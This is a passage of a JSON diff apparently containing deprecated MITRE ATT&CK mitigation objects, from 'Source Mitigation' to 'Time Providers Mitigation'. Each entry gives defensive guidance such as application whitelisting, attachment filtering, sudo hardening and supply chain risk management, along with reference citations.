Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Source Mitigation", + "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:45:45.651Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1153", + "external_id": "T1153", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Space after Filename Mitigation", + "description": "Prevent files from having a trailing space after the extension.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:46:32.010Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1151", + "external_id": "T1151", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--02f0f92a-0a51-4c94-9bda-6437b9a93f22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Spearphishing Attachment Mitigation", + "description": "Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nBlock unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments in [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027).\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails. To prevent the attachments from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:50:34.690Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1193", + "external_id": "T1193", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Spearphishing Link Mitigation", + "description": "Because this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. Determine if certain websites that can be used for spearphishing are necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk. Other mitigations can take place as [User Execution](https://attack.mitre.org/techniques/T1204) occurs.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T11:59:46.032Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1192", + "external_id": "T1192", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--ad7f983d-d5a8-4fce-a38c-b68eda61bf4e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Spearphishing via Service Mitigation", + "description": "Determine if certain social media sites, personal webmail services, or other service that can be used for spearphishing is necessary for business operations and consider blocking access if activity cannot be monitored well or if it poses a significant risk.\n\nBecause this technique involves use of legitimate services and user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations. Users can be trained to identify social engineering techniques and spearphishing emails with malicious links. To prevent the downloads from executing, application whitelisting can be used. Anti-virus can also automatically quarantine suspicious files.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:00:12.285Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1194", + "external_id": "T1194", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c861bcb1-946f-450d-ab75-d4e3c1103a56", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Standard Cryptographic Protocol Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:01:13.198Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1032", + "external_id": "T1032", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Standard Non-Application Layer Protocol Mitigation", + "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:01:33.997Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1095", + "external_id": "T1095", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--399d9038-b100-43ef-b28d-a5065106b935", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Startup Items Mitigation", + "description": "Since StartupItems are deprecated, preventing all users from writing to the /Library/StartupItems directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:01:55.766Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1165", + "external_id": "T1165", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Stored Data Manipulation Mitigation", + "description": "Identify critical business and system processes that may be targeted by adversaries and work to secure the data related to those processes against tampering. Ensure least privilege principles are applied to important information resources to reduce exposure to data manipulation risk. Consider encrypting important information to reduce an adversaries ability to perform tailor data modifications. Where applicable, examine using file monitoring software to check integrity on important files and directories as well as take corrective actions when unauthorized changes are detected. \n\nConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:02:27.102Z", + "created": "2019-04-24T17:02:25.107Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1492", + "external_id": "T1492", + "source_name": "mitre-attack" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--e9362d25-4427-446b-99e8-b8f0c3b86615", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Sudo Caching Mitigation", + "description": "Setting the timestamp_timeout to 0 will require the user to input their password every time sudo is executed. Similarly, ensuring that the tty_tickets setting is enabled will prevent this leakage across tty sessions.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:02:48.931Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1206", + "external_id": "T1206", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--dbf0186e-722d-4a0a-af6a-b3460f162f84", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Sudo Mitigation", + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:03:12.876Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1169", + "external_id": "T1169", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Supply Chain Compromise Mitigation", + "description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n\n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle\n\nA patch management process should be implemented to check unused dependencies, unmaintained and/or previously vulnerable dependencies, unnecessary features, components, files, and documentation. Continuous monitoring of vulnerability sources and the use of automatic and manual code review tools should also be implemented as well. (Citation: OWASP Top 10 2017)", + "x_mitre_version": "1.0", + "modified": "2020-07-14T22:23:56.006Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1195", + "external_id": "T1195", + "source_name": "mitre-attack" + }, + { + "url": "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf", + "description": "The MITRE Corporation. (2014). MITRE Systems Engineering Guide. Retrieved April 6, 2018.", + "source_name": "MITRE SE Guide 2014" + }, + { + "url": "http://dx.doi.org/10.6028/NIST.IR.7622", + "description": "Boyens, J,. Et al.. (2002, October). Notional Supply Chain Risk Management Practices for Federal Information Systems. Retrieved April 6, 2018.", + "source_name": "NIST Supply Chain 2012" + }, + { + "source_name": "OWASP Top 10 2017", + "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.", + "url": "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--97d8eadb-0459-4c1d-bf1a-e053bd75df61", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "System Firmware Mitigation", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:06:06.231Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1019", + "external_id": "T1019", + "source_name": "mitre-attack" + }, + { + "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf", + "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.", + "source_name": "TCG Trusted Platform Module" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "System Information Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.235Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1082", + "url": "https://attack.mitre.org/mitigations/T1082" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "System Network Configuration Discovery Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. 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Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "System Time Discovery Mitigation", + "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:24.239Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1124", + "url": "https://attack.mitre.org/mitigations/T1124" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Systemd Service Mitigation", + "description": "The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services. 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Use utilities that detect or mitigate common features used in exploitation, such as the Microsoft Enhanced Mitigation Experience Toolkit (EMET).\n\nReduce potential lateral movement risk by using web-based document management and collaboration services that do not use network file and directory sharing.\n\nIdentify potentially malicious software that may be used to taint content or may result from it and audit and/or block the unknown programs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:21.481Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1080", + "external_id": "T1080", + "source_name": "mitre-attack" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--f0a42cad-9b1f-44da-a672-718f18381018", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Template Injection Mitigation", + "description": "Consider disabling Microsoft Office macros/active content to prevent the execution of malicious payloads in documents (Citation: Microsoft Disable Macros), though this setting may not mitigate the [Forced Authentication](https://attack.mitre.org/techniques/T1187) use for this technique.\n\nBecause this technique involves user interaction on the endpoint, it's difficult to fully mitigate. However, there are potential mitigations including training users to identify social engineering techniques and spearphishing emails. Network/Host intrusion prevention systems, antivirus, and detonation chambers can be employed to prevent documents from fetching and/or executing malicious payloads. (Citation: Anomali Template Injection MAR 2018)", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:27:19.577Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1221", + "external_id": "T1221", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Disable Macros", + "description": "Microsoft. (n.d.). Enable or disable macros in Office files. Retrieved September 13, 2018.", + "url": "https://support.office.com/article/enable-or-disable-macros-in-office-files-12b036fd-d140-4e74-b45e-16fed1a7e5c6" + }, + { + "url": "https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104", + "description": "Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.", + "source_name": "Anomali Template Injection MAR 2018" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Third-party Software Mitigation", + "description": "Evaluate the security of third-party software that could be used in the enterprise environment. Ensure that access to management systems for third-party systems is limited, monitored, and secure. Have a strict approval policy for use of third-party systems.\n\nGrant access to Third-party systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication. Verify that account credentials that may be used to access third-party systems are unique and not used throughout the enterprise network. Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure third-party systems are regularly patched by users or the provider to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nEnsure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required.\n\nWhere the third-party system is used for deployment services, ensure that it can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the third-party system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "x_mitre_version": "1.0", + "modified": "2019-07-25T12:27:40.782Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1072", + "external_id": "T1072", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--160af6af-e733-4b6a-a04a-71c620ac0930", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Threat Intelligence Program", + "description": "A threat intelligence program helps an organization generate their own threat intelligence information and track trends to inform defensive priorities to mitigate risk.", + "x_mitre_version": "1.0", + "modified": "2019-06-06T19:55:50.927Z", + "id": "course-of-action--874c0166-e407-45c2-a1d9-e4e3a6570fd8", + "created": "2019-06-06T19:55:50.927Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1019", + "external_id": "M1019", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Time Providers Mitigation", + "description": "Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.\n\nConsider using 